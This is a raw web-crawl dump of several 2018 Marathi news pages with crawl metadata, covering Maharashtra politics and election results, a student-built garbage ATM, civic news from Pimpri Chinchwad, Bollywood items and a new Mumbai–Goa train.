चंद्रकांत पाटील यांनी स्वीकारली आहे.\nत्याच पार्श्‍वभूमीवर भाजपने आता राज्य कार्यकारिणीची बैठक सांगलीत घेण्याचा निर्णय घेतला आहे. कर्नाटक विधानसभा निवडणूक 12 मे रोजी आहे. त्यामुळे त्यानंतरचा मुहूर्त भाजपने काढला आहे. येत्या 15 मेनंतर ही बैठक होणार आहे. अमित शहा आणि फडणवीस यांच्या वेळ निश्‍चिती व्हायची आहे. त्यामुळे अद्याप तारीख निश्‍चित झालेली नाही. या बैठकीसाठी सुसज्ज जागा आवश्यक आहे. त्यादृष्टीने स्थळ निश्‍चिती आणि नियोजनासाठी दोन दिवसांत भाजपच्या जिल्ह्यातील कोअर कमिटीची बैठक होणार आहे. त्यामुळे आता भाजपची ही राज्यस्तरीय बैठक महापालिका निवडणुकीसाठी महत्त्वपूर्ण ठरणार आहे. या निमित्ताने सांगलीत शक्‍तिप्रदर्शनच होणार आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00267.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Vidarbha/Maharashtra-Legislative-Council-Election-BJP-Beat-Congress-By-Huge-Difference-In-Amravati/", "date_download": "2018-09-25T16:53:33Z", "digest": "sha1:ALPK6JPBVM5RYVKEGXWDJETJIRKIZOST", "length": 6068, "nlines": 37, "source_domain": "www.pudhari.news", "title": " अमरावतीत काँग्रेसचा पचका! पदरची शंभरहून अधिक मतं भाजपला | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Vidarbha › अमरावतीत काँग्रेसचा पचका पदरची शंभरहून अधिक मतं भाजपला\n शंभरहून अधिक मतं भाजपला\nअमरावती : पुढारी ऑनलाईन\nविधान परिषदेच्या पाच जागांचे निकाल गुरुवारी जाहीर झाले. यात काँग्रेसची मोठी नामुष्की झाली. अमरावती स्थानिक स्वराज्य संस्था मतदारसंघातून काँग्रेसच्या अनिल माधोगडिया यांचा दारुण पराभव झाला आहे. याठिकाणी भाजपच्या प्रविण पोटे यांनी ४५८ मते मिळवत विक्रमी विजयाची नोंद केली. विशेष म्हणजे माधोगडियांना केवळ १७ मतं मिळाली. या मतदार संघात काँग्रेसचे १२८ मतदार होते. पण, १११ मतदारांनी माधोगडियांना नापंसती दर्शवल्याचे चित्र निकालानंतर समोर आले आहे.\nया मतदारसंघात भाजपाचे २०० राष्ट्रवादी काँग्रेसचे ४०, शिवसेना २८, प्रहार, युवा स्वाभिमान आणि इतर पक्ष मिळून ४८९ मतदार होते. यातील ४८८ जणांनी मतदान केले होते. शिवसेना, प्रहार, युवा स्वाभिमान आणि काही अपक्षांनी मतदानापूर्वीच पोटे यांना पाठिंबा दिला होता. त्यामुळे सुरुवातीपासूनच पोटेंचे पारडे जड होते. पण, १२८ मतदार असल्यामुळे काँग्रेसला एवढा मोठा पराभव अपेक्षित नव्हता. काँग्रेसच्या शंभरहून अधिक मतदारांनी भाजपच्या उमेदवाराला मतदान केल्यामुळे भाजपचा विजय द्विगुणित झाला आहे. अमरावतीसह वर्धा येथे भाजपाचे रामदास आंबटकरांचा विजय भाजपासाठी महत्त्वाचा मानला जात आहे.\nविधान परिषदेच्या ६ पैकी ५ जागांचे निकालामध्ये भाजप आणि शिवसेनेने प्रत्येकी दोन जागांवर यश मिळवले. तर कोकणात राष्ट्रवादीच्या अनिकेत तटकरेंनी बाजी मारली. या निवडणुकीत काँग्रेसला सपशेल अपयश आले. अमरावतीमध्ये १२८ मतदार असताना झालेला पराभव काँग्रेससाठी धक्कादायक असाच आहे.\nविधान परिषद निकाल : भाजप- सेनेला प्रत्येकी दोन जागा, राष्ट्रवादी एक, अन् काँग्रेसचा भोपळा\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00267.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.saamana.com/nasik-boys-make-garbage-atm/", "date_download": "2018-09-25T16:34:27Z", "digest": "sha1:5N5BOMPKPQUYZ7P7L6A436QMLVJ3NUXO", "length": 21760, "nlines": 260, "source_domain": "www.saamana.com", "title": "नाशिकच्या विद्यार्थ्यांची एक अफलातून कल्पना… | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानसमोर 253 धावांचे आव्हान\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nनाशिकच्या विद्यार्थ्यांची एक अफलातून कल्पना…\nस्वच्छतेच्या सवयी आपल्याला अजूनही लावाव्या लागतात.\nघरातील केरकचरा आपल्याला पैसेही मिळवून देऊ शकतो, हे कधी कुणाच्याही मनात आले नसेल. मात्र नागरिकांनी आपल्या परिसर स्वच्छतेला प्राधान्य दिले पाहिजे यादृष्टीने विचार करताना नाशिक येथील अभियांत्रिकी शाखेच्या चार विद्यार्थ्यांना एक भन्नाट कल्पना सुचली आणि कचऱयाच्या बदल्यात पैसे (कॅशबॅक पॉइंट्स) देणारे एक अनोखे एटीएम तयार झाले. हे एटीएम पैसे देते हे खरे असले तरी ते प्रथम तुमची ‘जनरल नॉलेज’ची परीक्षा घेते. विचारलेल्या प्रश्नाचे उत्तर बरोबर आले तरच पैसे मिळतात हे महत्त्वाचे \nनाशिक येथील यश गुप्ता, राहुल पाटील, हृषीकेश कासार व त्र्यंबकेश्वर तालुक्यातील अंबोली येथील प्रकाश सोनवणे हे चौघे संदीप फाऊंडेशनच्या अभियांत्रिकी महाविद्यालयात इलेक्ट्रिकल शाखेत द्वितीय वर्षात शिकत आहेत. मागील वर्षी डिप्लोमा करताना या चौघांनी आगळावेगळा प्रकल्प तयार करण्याचा निश्चित केले, मात्र कुठला प्रकल्प करायचे यावर त्यांचे एकमत होत नव्हते. शहर स्वच्छतेसाठी उपयुक्त ठरणारे संशोधन करा, असे प्राध्यापकांनी सांगितले. स्वच्छता अभियानासाठी नागरिकांनी उत्स्फूर्तपणे पुढे यावे, त्यात त्यांचाही फायदा व्हावा असे कचऱयाच्या बदल्यात पैसे देणारे एटीएम तयार करण्याचे त्यांनी ठरविले. यासाठी त्यांनी तब्बल सहा महिने मेहनत घेतली. वीस हजार रुपये खर्च करून दोन डस्टबिन, एलसीडी डिस्प्ले, आरएफआयडी रीडर, मायक्रोकंट्रोलर, लोड सेल यांचा वापर करीत ही प्रतिकृती आकाराला आली. यात कचऱयाच्या वजनानुसार ठराविक पॉइंट्स संबंधित व्यक्तीच्या आरएफआयडी कार्डमध्ये जमा होण्याची व्यवस्था केली आहे. डस्टबिन भरल्यानंतर त्यातील कचरा मागील मोठय़ा टाकीमध्ये जमा होतो. यासाठीचे प्रोग्रामिंग यश गुप्ता याने केले आहे. हे चार रॅन्चो व त्यांच्या मार्गदर्शक कृतिका अग्रवाल यांच्या नावाचे आद्याक्षर जोडून ‘के.आर.आर.वाय.पी. गार्बेज एटीएम’ असे एटीएमचे नामकरण करण्यात आले. एलसीडी डिस्प्लेवरील माहिती ऐकविली जाते, लवकरच ती मातृभाषेमध्येही ऐकण्याची सुविधा देण्याचा तसेच कचऱयाची वर्गवारी करण्यासाठी डस्टबिनला सेन्सर वापरण्याचाही त्यांचा विचार आहे.\nमहाराष्ट्रच नव्हे तर दिल्ली, केरळ, तामीळनाडू राज्यातील प्रदर्शनांमध्ये हा प्रकल्प सर्वोत्कृष्ट ठरला आहे. या प्रकल्पासाठी त्यांना तब्बल पंधरा पारितोषिके मिळाली आहेत. हा प्रकल्प आता महाराष्ट्र ट्रान्सफॉर्म या स्पर्धेत पोहोचला आहे. प्रदर्शनाला भेट देणाऱया सर्वांनाच ही भन्नाट कल्पना आवडली. याद्वारे जास्तीत जास्त कचरा संकलनाला मदत होईल असे अनेकांनी बोलून दाखविले. स्वच्छ भारत अभियानाच्या यशस्वीतेसाठी हे एटीएम उपयुक्त ठरू शकते. सार्वजनिक स्थळी ते उभारले गेले पाहिजे. असे झाल्यास नागरिक कुठेही कचरा फेकणार नाहीत व परिसराचे चित्र पालटेल. यासाठी शासनाने व विविध संस्थांनी पुढाकार घेतला पाहिजे.\nअसे काम करते एटीएम\nया एटीएमला ‘ए’ व ‘बी’ नावाच्या डस्टबिन जोडल्या आहेत. व्यक्तीचे नाव, त्याच्या बँक खात्याची माहिती असणारे आर.एफ.आय.डी. कार्ड स्वॅप केल्यास डिस्प्लेवर एक प्रश्न विचारला जातो, त्याचे ‘ए’ व ‘बी’ पर्याय असतात, त्यापैकी अचूक पर्याय लक्षात घेऊन एटीएमच्या संबंधित डस्टबिनमध्ये कचरा टाकावा लागतो. त्यानंतर त्याचे वजन दर्शविले जाते व संबंधित पॉइंट्स कार्डावर नोंदविले जातात. उत्तर चुकले तर कचऱयाच्या बदल्यात पॉइंट्स मिळत नाही. साधारण एक किलोसाठी दहा पॉइंट्स कार्डावर जमा होतात. असे शंभर पॉइंट्स झाले की, दहा रुपये खात्यावर जमा होऊ शकतात. याद्वारे मोबाईल रिचार्ज, ऑनलाइन शॉपिंग करता येऊ शकते.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीलनाटक हाच माझा श्वास\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nफोटोच्या गोष्टी…सोळा हजारांत देखणी\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00267.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://lokmat.news18.com/news/jharkhand-mother-teresa-organization-sold-children-295682.html", "date_download": "2018-09-25T17:36:05Z", "digest": "sha1:5KFCMCGJGTVIPKPKGCMAANV2P6H4VEDM", "length": 13096, "nlines": 128, "source_domain": "lokmat.news18.com", "title": "मदर तेरेसा यांच्या संस्थेवर मुलं चोरीचा आरोप", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nमदर तेरेसा यांच्या संस्थेवर मुलं चोरीचा आरोप\nआरोप झाला असून, तो सिद्ध झाल्यास मदर तेरेसा यांना दिलेला भारतरत्न पुरस्कार काढून घ्यावा अशी मागणी राष्ट्रीय स्वयंसेवक संघाचे प्रचार प्रमुख राजीव तुली यांनी केली\nझारखंड, 12 जुलै : मदर तेरेसा यांच्याशी संबंधित एनजीओवर लहान बाळाच्या विक्रीचा आरोप झाला असून, तो सिद्ध झाल्यास मदर तेरेसा यांना दिलेला भारतरत्न पुरस्कार काढून घ्यावा अशी मागणी राष्ट्रीय स्वयंसेवक संघाचे प्रचार प्रमुख राजीव तुली यांनी केली आहे.\nभारतरत्न या पुरस्काराला डाग लागलेला भारतीयांना आवडणार नाही असं तुली यांनी एका इंग्रजी मासिकाला दिलेल्या मुलाखतीत म्हटलंय.\n1980 मध्ये मदर तेरेसा यांना भारतरत्न पुरस्काराने गौरवण्यात आले आहे. मदर तेरेसा यांना व्हॅटिकनने गेल्या वर्षी संतपद बहाल केलं, त्यांनी कधीच लोकांच्या भल्यासाठी काम केलं नाही. तर धर्मांतर हा त्यांचा मुख्य हेतू होता असा आरोपही तुली यांनी केला आहे.\nझारखंडची राजधानी रांचीमध्ये मिशनरी आॅफ चॅरिटीमध्ये एका लहान मुलाला 1.2 लाखांना विकण्यात आल्याचा आरोप एका दाम्पत्याने केलाय. चॅरिटीच्या कर्मचाऱ्याने 14 दिवसात या मुलाची दुसऱ्या एका दाम्पत्याला विक्री केली असल्याचा आरोप आहे.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nजम्मू- काश्मीरची स्थिती खराब, अजून एका सर्जिकल स्ट्राइकची आवश्यकता- लष्कर प्रमुख\nगुन्ह्यांचे खटले असलेल्या नेत्यांना अपात्र ठरवण्यास सुप्रीम कोर्टाचा नकार\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00267.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://m.divyamarathi.bhaskar.com/amp/news/BOL-PKP-LCL-bollywood-celebs-who-does-not-celebrate-holi-5822852-PHO.html", "date_download": "2018-09-25T16:59:51Z", "digest": "sha1:SBJYXJLPJRM7T24TQGYKNFRT37EEPIO3", "length": 4800, "nlines": 53, "source_domain": "m.divyamarathi.bhaskar.com", "title": "Bollywood Celebs Who Does Not Celebrate Holi | तापसी पन्नू नाही खेळत होळी, हे 4 बॉलीवुड सेलेब्स देखील रंगांपासून राहतात दूर", "raw_content": "\nतापसी पन्नू नाही खेळत होळी, हे 4 बॉलीवुड सेलेब्स देखील रंगांपासून राहतात दूर\nहोळी रंगांचा उत्सव आहे आणि बॉलीवुड सेलेब्स हा सन अतिशय उत्साहात साजरा करतात. अमिताभ बच्चन, जावेद अख्तर, अनिल कपूर आणि एक\nमुंबई- होळी रंगांचा उत्सव आहे आणि बॉलीवुड सेलेब्स हा सन अतिशय उत्साहात साजरा करतात. अमिताभ बच्चन, जावेद अख्तर, अनिल कपूर आणि एकता कपूरसह अनेक सेलेब्स असे आहेत जे दरवर्षी होळीच्या दिवशी पार्टी होस्ट करतात. परंतु, या वर्षी श्रीदेवी यांचे निधन झाल्याने बॉलीवुडचे अनेक सेलिब्रेशन रद्द झाले. परंतु, तुम्हाला माहिती आहे का बॉलीवुडमध्ये असेही काही सेलेब्स आहेत, जे कधीच होळी साजरी करत नाहीत. पाहूयात कोणते आहेत ते सेलेब्स....\nतापसी म्हणते की, घरी मोठ्या मुश्किलीने होळी सेलिब्रेट करते. माझे कुटुंबीय रंगांची होळी खेळत नाही. त्यामुळे मी देखील त्यांच्यासोबत हॉटेलमध्ये राहते आणि त्यांच्यासोबतच होळी साजरी करते.\nपुढील स्लाइडवर पाहा हे चार खेळाडू देखील नाही खेळत होळी...\nआजचे राशिभविष्य : जाणून घ्या, तुमच्या राशीसाठी कसा राहील सोमवार\nविधवा काकूशी पुतण्याचे अवैध संबंध, वाद झाल्यावर महिलेने केले असे काही\nमराठमोळ्या नम्रता शिरोडकरचा पती आहे 127 कोटींचा मालक, नवीन चित्रपटात करणार सीएमची भूमिका\nतुम्हाला माहिती आहेत का सेक्स संदर्भातील हे 10 रहस्य\nहिप्सची गरजेपेक्षा वाढलेली चरबी कमी करण्याचे खास आयुर्वेदिक उपाय\nबिकीनीमधील या मराठमोळ्या अॅक्ट्रेसचे वय ऐकून व्हाल चकीत, पहिल्या पतीच्या मृत्यूनंतर केले दुसरे लग्न\nआज या 5 पैकी कोणतीही 1 गोष्ट घरी घेऊन या, प्रसन्न राहील देवी\nतू व्हर्जिन आहेस का तो लग्नाआधी तिला विचारतो.. पुढे वाचा- काय घडतं मग...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00267.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://pclive7.com/tag/%E0%A4%B9%E0%A4%B0%E0%A5%8D%E0%A4%B7%E0%A4%B2-%E0%A4%A2%E0%A5%8B%E0%A4%B0%E0%A5%87/", "date_download": "2018-09-25T17:59:04Z", "digest": "sha1:XMQZALB43KBMHG7LKCWVVYG2UPRRLO4W", "length": 4237, "nlines": 54, "source_domain": "pclive7.com", "title": "हर्षल ढोरे | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nसांगवीत नाले सफाईच्या कामांना वेग\nपिंपरी (Pclive7.com):- प्रभाग क्र.३२ अंतर्गत सांगवी, नवी सांगवी परिसरातील नाल्यांच्या साफसफाई कामकाजाला वेग आला असून पावसाळा सुरू होण्यापूर्वी नालेसफाई पूर्ण करण्यासाठी पिंपरी चिंचवड महापालि...\tRead more\nसांगवीच्या विकासकामांत प्रशांत शितोळेंची आडकाठी; भाजपच्या चारही नगरसेवकांचा हल्लाबोल\nपिंपरी (Pclive7.com):- प्रभाग क्रमांक ३२ मधील स्मशानभूमीचे आणि रस्त्यांची कामे तातडीने करावीत, यासाठी वारंवार पाठपुरावा करून देखील महापालिका प्रशासन बघ्याची भूमिका घेत आहे. माजी नगरसेवक प्रश...\tRead more\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00268.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"} {"url": "http://www.esakal.com/desh/new-train-will-offer-wi-fi-cuisines-celebrity-chefs-tv-every-seat-42837", "date_download": "2018-09-25T17:42:55Z", "digest": "sha1:T22G366AAQTRVFC3QXKZGF6AQMXMOKIN", "length": 11687, "nlines": 172, "source_domain": "www.esakal.com", "title": "New Train Will Offer Wi-Fi, Cuisines By Celebrity Chefs, TV On Every Seat रेल्वेत मिळणार वाय-फाय, एलसीडी स्क्रीन व सर्वोत्तम जेवण | eSakal", "raw_content": "\nरेल्वेत मिळणार वाय-फाय, एलसीडी स्क्रीन व सर्वोत्तम जेवण\nरविवार, 30 एप्रिल 2017\nया सर्व सुखसोईयुक्त ही नवी प्रिमियर रेल्वे गाडी जून महिन्यात सुरू करण्यात येणार आहे. 20 डबे असलेल्या तेजस एक्स्प्रेसला स्वंयचलित दरवाजे असतील. भारतात अशा प्रकारची रेल्वे प्रथमच धावणार आहे. सध्या भारतात फक्त मेट्रोला स्वयंचलित दरवाजे आहेत.\nनवी दिल्ली - मुंबई ते गोवा दरम्यान नवी रेल्वे सुरु करण्याचा निर्णय सरकारने घेतला असून, या रेल्वेतील प्रवाशांना वाय-फाय, सर्वोत्तम जेवण, चहा-कॉफीसाठी मशीन्स आणि सीटबरोबर एलसीडी स्क्रीनचा आनंद लुटता येणार आहे.\nया सर्व सुखसोईयुक्त ही नवी प्रिमियर रेल्वे गाडी जून महिन्यात सुरू करण्यात येणार आहे. 20 डबे असलेल्या तेजस एक्स्प्रेसला स्वंयचलित दरवाजे असतील. भारतात अशा प्रकारची रेल्वे प्रथमच धावणार आहे. सध्या भारतात फक्त मेट्रोला स्वयंचलित दरवाजे आहेत. मुंबई-गोवा मार्गावर ही रेल्वे यशस्वी झाल्यानंतर दिल्ली-चंदीगड दरम्यान अशी रेल्वे धावणार आहे.\nवरिष्ठ रेल्वे अधिकाऱ्यांनी दिलेल्या माहितीनुसार, तेजस या रेल्वेमध्ये सर्व सोईसुविधा असणार आहेत. तसेच प्रवाशांना या सर्व गोष्टींचा उपभोग घेता येणार आहे. प्रवाशांना जागतिक दर्जाच्या प्रवासाचा अनुभव येण्यासाठी हे सर्व करण्यात आले आहे. मनोरंजनाच्या दृष्टीने प्रत्येक सीटमागे एलसीडी स्क्रीन बसविण्यात आले आहेत. 